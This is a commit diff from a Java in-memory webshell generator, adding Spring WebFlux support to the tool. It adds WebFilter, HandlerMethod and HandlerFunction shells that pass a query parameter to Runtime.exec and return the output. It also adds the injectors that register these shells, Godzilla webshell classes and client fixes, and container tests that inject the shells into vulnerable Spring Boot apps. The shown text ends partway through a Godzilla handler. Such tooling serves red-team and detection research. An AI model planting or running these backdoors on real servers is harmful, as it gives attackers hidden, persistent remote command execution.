mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
feat: support spring webflux shell generate (resolved #6)
This commit is contained in:
@@ -31,7 +31,7 @@ jobs:
|
|||||||
strategy:
|
strategy:
|
||||||
fail-fast: false
|
fail-fast: false
|
||||||
matrix:
|
matrix:
|
||||||
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic" ]
|
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux" ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: ${{ matrix.middleware }}
|
name: ${{ matrix.middleware }}
|
||||||
needs: [ unit-test ]
|
needs: [ unit-test ]
|
||||||
|
|||||||
@@ -14,7 +14,8 @@
|
|||||||
> 最新一次构建会打印集成测试用例测试结果,可通过此来了解当前支持进度。
|
> 最新一次构建会打印集成测试用例测试结果,可通过此来了解当前支持进度。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 项目仍在快速迭代过程中(代码结构十分不稳定)部分不方便在此处添加的测试用中间件有机会会在上方 TG 交流群分享,欢迎加入一起学习交流~
|
> 项目仍在快速迭代过程中(代码结构十分不稳定)部分不方便在此处添加的测试用中间件有机会会在上方 TG
|
||||||
|
> 交流群分享,欢迎加入一起学习交流~
|
||||||
|
|
||||||
|
|
||||||

|

|
||||||
@@ -32,11 +33,11 @@
|
|||||||
| Listener | Listener | Valve | Valve |
|
| Listener | Listener | Valve | Valve |
|
||||||
| Valve | | | |
|
| Valve | | | |
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty |
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty |
|
||||||
|--------------|-------------------|---------------|-------|
|
|--------------|-------------------|-----------------|-------|
|
||||||
| Servlet | Interceptor | x | x |
|
| Servlet | Interceptor | WebFilter | x |
|
||||||
| Filter | ControllerHandler | | |
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
| Listener | | | |
|
| Listener | | HandlerFunction | |
|
||||||
|
|
||||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|----------------|-----------------|-----------------|----------|
|
|----------------|-----------------|-----------------|----------|
|
||||||
|
|||||||
@@ -48,6 +48,7 @@ dependencies {
|
|||||||
implementation project(":common")
|
implementation project(":common")
|
||||||
implementation project(":deserialize")
|
implementation project(":deserialize")
|
||||||
implementation project(":memshell")
|
implementation project(":memshell")
|
||||||
|
implementation project(":memshell-java8")
|
||||||
implementation 'net.bytebuddy:byte-buddy:1.+'
|
implementation 'net.bytebuddy:byte-buddy:1.+'
|
||||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||||
@@ -66,6 +67,7 @@ dependencies {
|
|||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
||||||
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
||||||
|
implementation 'org.springframework:spring-webflux:5.3.24'
|
||||||
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
||||||
|
|||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/24
|
||||||
|
*/
|
||||||
|
public class SpringWebFluxShell extends AbstractShell {
|
||||||
|
public static final String WEB_FILTER = "WebFilter";
|
||||||
|
public static final String HANDLER_METHOD = "HandlerMethod";
|
||||||
|
public static final String HANDLER_FUNCTION = "HandlerFunction";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
|
return Map.of(
|
||||||
|
WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class),
|
||||||
|
HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class),
|
||||||
|
HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||||
|
return Map.of(
|
||||||
|
WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class),
|
||||||
|
HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class),
|
||||||
|
HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -38,7 +38,7 @@ public enum Server {
|
|||||||
/**
|
/**
|
||||||
* Spring Webflux 框架
|
* Spring Webflux 框架
|
||||||
*/
|
*/
|
||||||
SpringWebflux(null),
|
SpringWebflux(new SpringWebFluxShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* WebSphere 中间件
|
* WebSphere 中间件
|
||||||
|
|||||||
@@ -103,8 +103,9 @@ public class GodzillaManager implements Closeable {
|
|||||||
if (!isValidResponse(responseBody, md5)) {
|
if (!isValidResponse(responseBody, md5)) {
|
||||||
return responseBody;
|
return responseBody;
|
||||||
}
|
}
|
||||||
int lastIndex = responseBody.indexOf(md5.substring(16));
|
int i = responseBody.indexOf(md5.substring(0, 16));
|
||||||
String result = responseBody.substring(16);
|
String result = responseBody.substring(i + 16);
|
||||||
|
int lastIndex = result.indexOf(md5.substring(16));
|
||||||
result = result.substring(0, lastIndex);
|
result = result.substring(0, lastIndex);
|
||||||
byte[] bytes = Base64.decodeBase64(result);
|
byte[] bytes = Base64.decodeBase64(result);
|
||||||
byte[] x = aes(key, bytes, false);
|
byte[] x = aes(key, bytes, false);
|
||||||
@@ -215,6 +216,7 @@ public class GodzillaManager implements Closeable {
|
|||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -57,7 +57,9 @@ test {
|
|||||||
":vul:vul-webapp-jakarta:war",
|
":vul:vul-webapp-jakarta:war",
|
||||||
":vul:vul-springboot2:bootJar",
|
":vul:vul-springboot2:bootJar",
|
||||||
":vul:vul-springboot2:bootWar",
|
":vul:vul-springboot2:bootWar",
|
||||||
":vul:vul-springboot3:bootJar"
|
":vul:vul-springboot2-webflux:bootJar",
|
||||||
|
":vul:vul-springboot3:bootJar",
|
||||||
|
":vul:vul-springboot3-webflux:bootJar",
|
||||||
)
|
)
|
||||||
useJUnitPlatform()
|
useJUnitPlatform()
|
||||||
finalizedBy jacocoTestReport
|
finalizedBy jacocoTestReport
|
||||||
|
|||||||
@@ -18,7 +18,9 @@ public class ContainerTool {
|
|||||||
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
|
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
|
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
|
||||||
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
|
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
|
||||||
|
public static final Path springBoot2WebfluxDockerfile = Paths.get("../vul/vul-springboot2-webflux/Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
|
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
|
||||||
|
public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath();
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
String host = container.getHost();
|
String host = container.getHost();
|
||||||
|
|||||||
+6
-1
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration;
|
|||||||
|
|
||||||
import com.reajason.javaweb.GeneratorMain;
|
import com.reajason.javaweb.GeneratorMain;
|
||||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||||
|
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
@@ -16,7 +17,11 @@ public class ShellAssertionTool {
|
|||||||
String shellUrl = url + "/test";
|
String shellUrl = url + "/test";
|
||||||
|
|
||||||
InjectorConfig injectorConfig = new InjectorConfig();
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
if (shellType.endsWith(Constants.SERVLET) || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)) {
|
if (shellType.endsWith(Constants.SERVLET)
|
||||||
|
|| shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)
|
||||||
|
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|
||||||
|
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
|
||||||
|
) {
|
||||||
String urlPattern = "/" + shellTool + shellType + packer.name();
|
String urlPattern = "/" + shellTool + shellType + packer.name();
|
||||||
shellUrl = url + urlPattern;
|
shellUrl = url + urlPattern;
|
||||||
injectorConfig.setUrlPattern(urlPattern);
|
injectorConfig.setUrlPattern(urlPattern);
|
||||||
|
|||||||
+72
@@ -0,0 +1,72 @@
|
|||||||
|
package com.reajason.javaweb.integration.springwebflux;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||||
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot2WebFluxContainerTest {
|
||||||
|
public static final String imageName = "springboot2-webflux";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(springBoot2WebfluxDockerfile))
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
// arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
// arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
// arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebflux, shellType, shellTool, Opcodes.V1_8, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+72
@@ -0,0 +1,72 @@
|
|||||||
|
package com.reajason.javaweb.integration.springwebflux;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||||
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot3WebFluxContainerTest {
|
||||||
|
public static final String imageName = "springboot3-webflux";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(springBoot3WebfluxDockerfile))
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebflux, shellType, shellTool, Opcodes.V17, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
plugins {
|
||||||
|
id 'war'
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = ''
|
||||||
|
sourceCompatibility = '1.8'
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
||||||
|
implementation 'org.springframework:spring-webflux:5.3.24'
|
||||||
|
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
||||||
|
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
|
providedCompile 'javax.websocket:javax.websocket-api:1.1'
|
||||||
|
testImplementation platform('org.junit:junit-bom:5.10.0')
|
||||||
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
-1
@@ -35,7 +35,6 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||||
System.out.println(response.getClass().getName());
|
|
||||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
try {
|
try {
|
||||||
HttpSession session = request.getSession();
|
HttpSession session = request.getSession();
|
||||||
-1
@@ -95,7 +95,6 @@ public class SpringInterceptorInjector {
|
|||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object interceptor) throws Exception {
|
public void inject(Object context, Object interceptor) throws Exception {
|
||||||
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
|
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
|
||||||
System.out.println(abstractHandlerMapping.getClass().getName());
|
|
||||||
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
|
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
|
||||||
for (Object adaptedInterceptor : adaptedInterceptors) {
|
for (Object adaptedInterceptor : adaptedInterceptors) {
|
||||||
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
|
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
|
||||||
+47
@@ -0,0 +1,47 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.command;
|
||||||
|
|
||||||
|
import org.springframework.web.reactive.function.server.HandlerFunction;
|
||||||
|
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||||
|
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.util.Optional;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/25
|
||||||
|
*/
|
||||||
|
public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
||||||
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Mono<ServerResponse> handle(ServerRequest request) {
|
||||||
|
Optional<String> cmdOptional = request.queryParam(paramName);
|
||||||
|
if (!cmdOptional.isPresent()) {
|
||||||
|
return Mono.empty();
|
||||||
|
}
|
||||||
|
System.out.println("hanlder function cmd " + cmdOptional.get());
|
||||||
|
try {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
String cmd = cmdOptional.get();
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
||||||
|
String line;
|
||||||
|
while ((line = bufferedReader.readLine()) != null) {
|
||||||
|
result.append(line);
|
||||||
|
result.append(System.lineSeparator());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+43
@@ -0,0 +1,43 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.command;
|
||||||
|
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/25
|
||||||
|
*/
|
||||||
|
public class CommandHandlerMethod {
|
||||||
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
|
public CommandHandlerMethod() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
|
||||||
|
try {
|
||||||
|
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
|
||||||
|
System.out.println("handler method cmd: " + cmd);
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
||||||
|
String line;
|
||||||
|
while ((line = bufferedReader.readLine()) != null) {
|
||||||
|
result.append(line);
|
||||||
|
result.append(System.lineSeparator());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return ResponseEntity.ok(result.toString());
|
||||||
|
} catch (Exception ex) {
|
||||||
|
return ResponseEntity.ok(ex.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+46
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.command;
|
||||||
|
|
||||||
|
import org.springframework.core.io.buffer.DataBuffer;
|
||||||
|
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
import org.springframework.web.server.WebFilter;
|
||||||
|
import org.springframework.web.server.WebFilterChain;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/25
|
||||||
|
*/
|
||||||
|
public class CommandWebFilter extends ClassLoader implements WebFilter {
|
||||||
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
|
||||||
|
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
|
||||||
|
if (cmd == null) {
|
||||||
|
return chain.filter(exchange);
|
||||||
|
}
|
||||||
|
return exchange.getResponse().writeWith(getResult(cmd));
|
||||||
|
}
|
||||||
|
|
||||||
|
private Mono<DataBuffer> getResult(String cmd) {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
||||||
|
String line;
|
||||||
|
while ((line = bufferedReader.readLine()) != null) {
|
||||||
|
result.append(line);
|
||||||
|
result.append(System.lineSeparator());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
||||||
|
}
|
||||||
|
}
|
||||||
+115
@@ -0,0 +1,115 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.godzilla;
|
||||||
|
|
||||||
|
import org.springframework.web.reactive.function.server.HandlerFunction;
|
||||||
|
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||||
|
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/25
|
||||||
|
*/
|
||||||
|
public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
|
||||||
|
public String key = "{{key}}";
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String md5 = "{{md5}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
public Class<?> payload;
|
||||||
|
|
||||||
|
public GodzillaHandlerFunction() {
|
||||||
|
}
|
||||||
|
|
||||||
|
protected GodzillaHandlerFunction(ClassLoader parent) {
|
||||||
|
super(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Mono<ServerResponse> handle(ServerRequest request) {
|
||||||
|
